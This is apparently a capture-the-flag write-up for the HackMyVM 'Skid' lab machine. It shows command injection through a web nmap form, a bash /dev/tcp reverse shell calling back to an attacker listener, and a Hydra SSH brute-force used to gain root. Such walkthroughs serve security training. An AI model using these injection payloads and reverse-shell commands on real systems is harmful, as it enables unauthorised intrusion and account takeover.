Skid | HackMyVM

1. Enumeration

The target machine is enumerated for any open services.

            ┌──(kali㉿kali)-[~]
            └─$ nmap -sV -sS -p- 192.168.56.xxx
            Nmap scan report for 192.168.56.xxx
            PORT     STATE SERVICE VERSION
            22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
            5000/tcp open  http    Werkzeug httpd 3.0.6 (Python 3.8.10)
            MAC Address: 08:00:27:XX:XX:XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
            Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
            Nmap done: 1 IP address (1 host up) scanned in 37.54 seconds
        

Two services are open: HTTP and SSH.

2. Web Exploitation

2.1 Command Injection

The HTTP service runs on port 5000. On visiting it, there are two main elements: an Nmap Scanner and a Reverse Shell Generator. After some testing, it becomes apparent that the Nmap scanner is vulnerable to command injection.

Let's try a payload: 127.0.0.1 ; whoami

If the input field is not sanitized, the semicolon acts as a command terminator and whoami gets executed as a separate command.

            Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-12 10:19 UTC
            Nmap scan report for localhost (127.0.0.1)
            Host is up (0.000035s latency).
            Not shown: 998 closed ports
            PORT     STATE SERVICE
            22/tcp   open  ssh
            5000/tcp open  upnp
            Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
            jeremy
            # Nmap 7.80 scan initiated Tue May 12 10:19:00 2026 as: nmap -T4 -oN /tmp/scan.txt 127.0.0.1
            Nmap scan report for localhost (127.0.0.1)
            Host is up (0.000035s latency).
            Not shown: 998 closed ports
            PORT     STATE SERVICE
            22/tcp   open  ssh
            5000/tcp open  upnp
            # Nmap done at Tue May 12 10:19:00 2026 -- 1 IP address (1 host up) scanned in 0.07 seconds
        

The command executed successfully and revealed that jeremy is the current user. This injection point can be used to trigger a reverse shell.

2.2 Reverse Shell Generation

A reverse shell works by having the target machine connect back to the attacker's listener, typically exploited via remote code execution or command injection. The web service conveniently includes a built-in reverse shell generator. Generating a payload with the attacker's IP and a chosen port:

IP: 192.168.56.XXX
Port: 4444

The generated payload is:

bash -i >& /dev/tcp/192.168.56.XXX/4444 0>&1

2.3 Setting Up the Listener and Payload

First, set up a listener on the attacker machine to catch the incoming shell:

nc -lvnp 4444

Next, inject the payload through the vulnerable Nmap scanner field:

127.0.0.1; bash -i >& /dev/tcp/192.168.56.XXX/4444 0>&1

However, this did not work initially. The error below indicates the web server defaults to dash instead of bash:

/bin/sh: 1: Syntax error: Bad fd number

To work around this, the injection explicitly calls bash to execute the payload:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'

The listener confirms a successful connection to the target machine:

            ┌──(kali㉿kali)-[~]
            └─$ nc -lvnp 4444
            listening on [any] 4444 ...
            connect to [192.168.56.102] from (UNKNOWN) [192.168.56.108] 55700
            jeremy@skid:~$ whoami
            whoami
            jeremy
        

From here, the shell can be explored further:

            jeremy@skid:~$ ls
            ls
            app
            changes.txt
            hacking-tools
            user.txt
            wordlists
            jeremy@skid:~$ cat user.txt
            cat user.txt
            hmv{XXX}
        

The user flag is retrieved.

Reading changes.txt reveals a mention of custom wordlists. This hints at using those wordlists to brute-force the root password via Hydra:

            jeremy@skid:~$ hydra -l root -P ./wordlists/secure-passwds.txt ssh://192.168.56.108
            hydra -l root -P ./wordlists/secure-passwds.txt ssh://192.168.56.108
            [DATA] attacking ssh://192.168.56.XXX:22/
            [22][ssh] host: 192.168.56.108   login: root   password: sk1ddl3
            1 of 1 target successfully completed, 1 valid password found
        

Privilege escalation to root is achieved using the cracked password:

            root@skid:~# whoami
            root
            root@skid:~# ls
            root.txt  snap
            root@skid:~# cat root.txt
            Help I lost the root flag!
            Can you please help me find it?
            root@skid:~# find / -name "root.txt" 2>/dev/null
            /var/lib/.cache2/root.txt
            /root/root.txt
            root@skid:~# cat /var/lib/.cache2/root.txt
            hmv{XXX}
        

The root.txt in the home directory does not contain the flag. Using find to search the entire filesystem reveals the actual flag tucked away in the /var/lib/.cache2/ directory.

Thank you for reading.
— EXIT —